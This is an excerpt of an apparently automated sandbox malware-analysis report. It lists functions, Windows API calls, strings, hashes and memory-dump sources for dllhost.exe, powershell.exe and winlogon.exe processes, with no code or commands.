Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: 4661CE31680AD1C2FEA4DB15E58CB6D6BECF755788F246495DACE073A0DE38C8C18203

Function 000002E86A092408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002E86A0924ED
StrCpyW.SHLWAPI ref: 000002E86A092504

Strings

\\.\pipe\, xrefs: 000002E86A0924F8

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: 9b1ec3a0877aaf924c5fb45e812809b01f957fb7bc69e800b9b3924f31014eff
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: 3151C5226883C1C2FE74DE26E16C3AA6759F389780F442095DECD23B99DE35C5849B42

Function 000002E86A0A0724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002E86A0A083B
GetLastError.KERNEL32 ref: 000002E86A0A085D

Strings

U, xrefs: 000002E86A0A07E7

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: b0a96fca31c3f52cd513c25bb584d8ce4f4e412c14612afbfbbfc6b372672f95
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: B341A232719A84C2EF609F25E8487AAB7A4F788794F414121EF8D87B99DF38C481CB41

Function 000002E86A09D7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002E86A09D819
LCMapStringW.KERNEL32 ref: 000002E86A09D8A1

Strings

LCMapStringEx, xrefs: 000002E86A09D7FC, 000002E86A09D80D

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 9ccc65f4b3abec0430f542af05ad4ac6c97ef1603a59f62bea847f0fdff6161e
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: B9110836648BC0C6DB60CB56F48429AB7A9F7C9B84F544166EFCD93B5ACF38C4908B01

Function 000002E86A0995F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002E86A099634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002E86A0984FB), ref: 000002E86A09967A

Strings

csm, xrefs: 000002E86A099667

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 8d1b97a6db587e6cd0085fb6087efec68800c6eb61256cc6ca6d325f210735d5
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 67112536218B80C2EF218F25E444259B7A8F788B94F189264EFDD07B69DF39C991CB01

Function 000002E86A09D77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002E86A09D7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,000002E86A09AE98), ref: 000002E86A09D7C7

Strings

InitializeCriticalSectionEx, xrefs: 000002E86A09D7A1

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: a6350c572821dcefd0f78d61a1d7d40c9c3789682fd0a3a7d799ec9b8cebc9e0
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: F4F0A729394BC0D2EF049B61F488699A378FB48B90F4451A5EBDE13B96DF38C4C5C702

Function 000002E86A09D728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002E86A09D751
TlsSetValue.KERNEL32(?,?,?,000002E86A09B50E,?,?,?,000002E86A09B969,?,?,?,?,000002E86A09BA1D), ref: 000002E86A09D768

Strings

FlsSetValue, xrefs: 000002E86A09D73E

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: d475132d9dafe9252ab9c71c65127688c8c5a07ae8dce2aea3215af333d4acb3
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: 26E09B652805C0E1EE444B60F4482D8A269B748780F589065E69D073D6DF38C4C5C313

Function 00000001400020B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020C8
GetProcAddress.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020DB

Strings

ntdll.dll, xrefs: 00000001400020BE

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 4640d05c2373d3640ae9100a2b8d7c29625f92196451c223be7d6a549915ad55
Instruction ID: 6962b19410fb25e2496a1e9abeaa8d0c6436d1fe4488b115c491d50ca37cf121
Opcode Fuzzy Hash: 4640d05c2373d3640ae9100a2b8d7c29625f92196451c223be7d6a549915ad55
Instruction Fuzzy Hash: 04D0C9F8B1260182EF1AE76378553E052515B6CBC9F4984209F0A47372DA38C4E48318

Function 000002E86A091C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A091C65
HeapAlloc.KERNEL32 ref: 000002E86A091C74
GetProcessHeap.KERNEL32 ref: 000002E86A091C9C
HeapFree.KERNEL32 ref: 000002E86A091CAA

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: 4f68d4ad0bd3e890886d2d80f8af3a8323ef2f1cdbd5ca15bfb33dbdf11ab205
Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: 6A11A022B44BD0C1EE158B66E408199E7A8FBC8FA0F594264DF9D537A4EE38C082C301

Function 000002E86A091268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A09126E
HeapAlloc.KERNEL32 ref: 000002E86A09127D
GetProcessHeap.KERNEL32 ref: 000002E86A091297
HeapAlloc.KERNEL32 ref: 000002E86A0912A8

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: 3b9186d13b4405abaa6682b60103fde372ebc3aedc53a7f58e461d487e2e3eb6
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: CDE03235A41A80C6EF088BA2D80C349B7E5EB8CB09F0880248A8907361DF7D84D98B82

Function 0000000140001220 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001226
HeapAlloc.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001235
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001530), ref: 000000014000124F
HeapAlloc.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001260

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction ID: 1511527892a3fb8eded8389ff9e17f75ca8e9e74a60c21ae91e61c536c9c2234
Opcode Fuzzy Hash: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction Fuzzy Hash: 39E039F170160086E705DB63E80438936E1EB8CB81F858024DA1907371DF7D84D98750

Function 000002E86A091000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A091006
HeapAlloc.KERNEL32 ref: 000002E86A091015
GetProcessHeap.KERNEL32 ref: 000002E86A091028
HeapAlloc.KERNEL32 ref: 000002E86A091037

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: d4f02781868ac6ceed087ba3c348f65b03fc939797e1a8fb7640c434253b21e7
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction Fuzzy Hash: 36E0E575651A80C6EF089B62D80C259B7A5FB8CB15F488064CA4907321EE3884D98B12

Function 0000000140001000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001006
HeapAlloc.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001015
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001028
HeapAlloc.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001037

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction ID: 4369636dfc19c6b46be3dddb2077bf5e2e0bd1da0e3c66b1f75a47794e7da392
Opcode Fuzzy Hash: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction Fuzzy Hash: 78E0E5F1751A0086E70ADB63E80439976E1FB8CB91F898024EA1907731EE3884D98A24

Analysis Process: powershell.exePID: 7176, Parent PID: 5804COMMON

Executed Functions

Function 00007FFD9B8A6605 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1870908153.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c201d4cfd947c2aab7d0f8068b6b05513b61ead7412ea2c731e6a76e8444ff3d
Instruction ID: 22124d3102b84e47b5df20c261a9c811147bd372cfe714fff87cbbbdca53167f
Opcode Fuzzy Hash: c201d4cfd947c2aab7d0f8068b6b05513b61ead7412ea2c731e6a76e8444ff3d
Instruction Fuzzy Hash: 2ED15BA2A1FACE4FEB65DB6848645B5BBA0EF1A310B0901FED45DC70EBD914AC05C361

Function 00007FFD9B7DA3AC Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 310f0f653dc7326ec8a24a186150ae98c1d9db7c3c148008fcedfe2b2858142a
Instruction ID: 2b44eac253f6175dcb619a6cd3f78a1ba7da80aaa08a9f80c1ef281649782b7b
Opcode Fuzzy Hash: 310f0f653dc7326ec8a24a186150ae98c1d9db7c3c148008fcedfe2b2858142a
Instruction Fuzzy Hash: A461FB3190CB4C4FDB59DB6C9C4A6E97FF0EB96321F04426FD049C3162CA74685ACB92

Function 00007FFD9B7D9738 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cf533e3002681fd93f6d7b3b4bafe6ced6ad50ef3c09c115aed29b36cce6019
Instruction ID: 7d15fb9dc37f07538d8a7f58cdd7a1e9d3d4ffb063fea4effa2528728e4bd29d
Opcode Fuzzy Hash: 3cf533e3002681fd93f6d7b3b4bafe6ced6ad50ef3c09c115aed29b36cce6019
Instruction Fuzzy Hash: 69415F71A0DB884FDB189F5C580A6B87BE0FF95710F40426FE098D7192DB24B915C7C2

Function 00007FFD9B6BEC60 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1868088648.00007FFD9B6BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b6bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23505bc844504d0df81e75ce72b0316260e35760c988ad5ee5e0424bc8d78aa5
Instruction ID: e4c086680ebbaaa04f90794beb4d5d7dd1ca31ff9139a28afee5550b0167ea2c
Opcode Fuzzy Hash: 23505bc844504d0df81e75ce72b0316260e35760c988ad5ee5e0424bc8d78aa5
Instruction Fuzzy Hash: 2D41297050EBC44FE7568B3898519523FF0EF56320B1506EFD098CF1A7C625A846CBA2

Function 00007FFD9B7D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 672cddce3b61fd07d14acf0d5ff0c6c5c9905a2842d53f114a6d1ab46604d338
Instruction ID: 7d18de3127f3f1dd01fd625624dbb9d3bcbd9e505403495affb5961ee0d50b6a
Opcode Fuzzy Hash: 672cddce3b61fd07d14acf0d5ff0c6c5c9905a2842d53f114a6d1ab46604d338
Instruction Fuzzy Hash: 4D01A73020CB0C4FD748EF0CE051AA5B3E0FB85360F10066DE58AC36A1DA32E882CB41

Function 00007FFD9B7DA0FB Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06fde61f72af5a0c16009eaecdfc218fa21df1d93e9270e15e243ae35ae8ef12
Instruction ID: 1b596c0e12b13b7622aea8b57449bdbbe16ffb9b7016840186ba41f1e27fc817
Opcode Fuzzy Hash: 06fde61f72af5a0c16009eaecdfc218fa21df1d93e9270e15e243ae35ae8ef12
Instruction Fuzzy Hash: 34F0C23660AB8C4FDB52EF2C98654D57FA0FFA6641B0502ABD588CB072EB2159488781

Function 00007FFD9B8A414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1870908153.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f12c3ca706bd90e4a6bd2c24f54174b913bdbb8b78bd1cfd2fb4760190f2314
Instruction ID: 6626564ffef26f6823caca17d84527698f06c1c6a2ad1066fa11a5a4e5877c1f
Opcode Fuzzy Hash: 0f12c3ca706bd90e4a6bd2c24f54174b913bdbb8b78bd1cfd2fb4760190f2314
Instruction Fuzzy Hash: C5F0BE32B0E5498FDB68EB8CE4518E877E0EF5932071600BAE06DC71B3CA25EC41C750

Function 00007FFD9B8A4400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1870908153.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d48fd6a8806828cbf3084cea4ee9bafb79648d2541a87ea29e08a120dfc52e4b
Instruction ID: d7d497ad5aafac53dbe409b1455c4dfd3f0c742d31521fdd0edb2363bf1b3ce9
Opcode Fuzzy Hash: d48fd6a8806828cbf3084cea4ee9bafb79648d2541a87ea29e08a120dfc52e4b
Instruction Fuzzy Hash: A0F05E32A0F5498FDB64EB5CE4618A877E0FF4932475600BAE15DCB4A3DA29BC41C750

Function 00007FFD9B8A41D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1870908153.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: 09323d83657ad24737761ed45f903d87c673e9f131c1b1bb4a609df375895b1c
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: D7E01A31B0C8088FDA78DB4CE0519A977E1EBA832171601BBD14EC7571CA22ED518B90

Non-executed Functions

Function 00007FFD9B7D85FA Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FFD9B7D86C9
N_^, xrefs: 00007FFD9B7D85FA
N_^, xrefs: 00007FFD9B7D867A
N_^, xrefs: 00007FFD9B7D866A
N_^, xrefs: 00007FFD9B7D862A

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^$N_^
API String ID: 0-1162251571
Opcode ID: 8a58f7885fb3b7c48049ca84b228dd4b4dcbe855e120cc9a8ee1319338b6147b
Instruction ID: 1ca6a916f09f9e7b84205c8306d708178fc27b6040ebbf63c805d2f5750f976c
Opcode Fuzzy Hash: 8a58f7885fb3b7c48049ca84b228dd4b4dcbe855e120cc9a8ee1319338b6147b
Instruction Fuzzy Hash: E441D6A2E4F7D64FD3228BA958690907FD0EF6226474E01FFC1998B173E9181A478706

Function 00007FFD9B7D8BFA Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

N_^7, xrefs: 00007FFD9B7D8C12
N_^J, xrefs: 00007FFD9B7D8C8A
N_^F, xrefs: 00007FFD9B7D8C7A
N_^4, xrefs: 00007FFD9B7D8BFA

Memory Dump Source

Source File: 00000007.00000002.1869742700.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID: N_^4$N_^7$N_^F$N_^J
API String ID: 0-3508309026
Opcode ID: 2f5b78e997f032b4b8a1963d1e0a1c1ccde872ad4d7bd0ddebff894856409483
Instruction ID: 33318d810732aedc5b8d73b2cd603b97cdeee6fc6f3f35bf73613f10f45d9dd5
Opcode Fuzzy Hash: 2f5b78e997f032b4b8a1963d1e0a1c1ccde872ad4d7bd0ddebff894856409483
Instruction Fuzzy Hash: 3821497BB080654ED305BBBCBC289DD3750DFD423935642F2D2A9CB183EC14708A86C1

Analysis Process: winlogon.exePID: 552, Parent PID: 6968COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1117
Total number of Limit Nodes:	14

Executed Functions

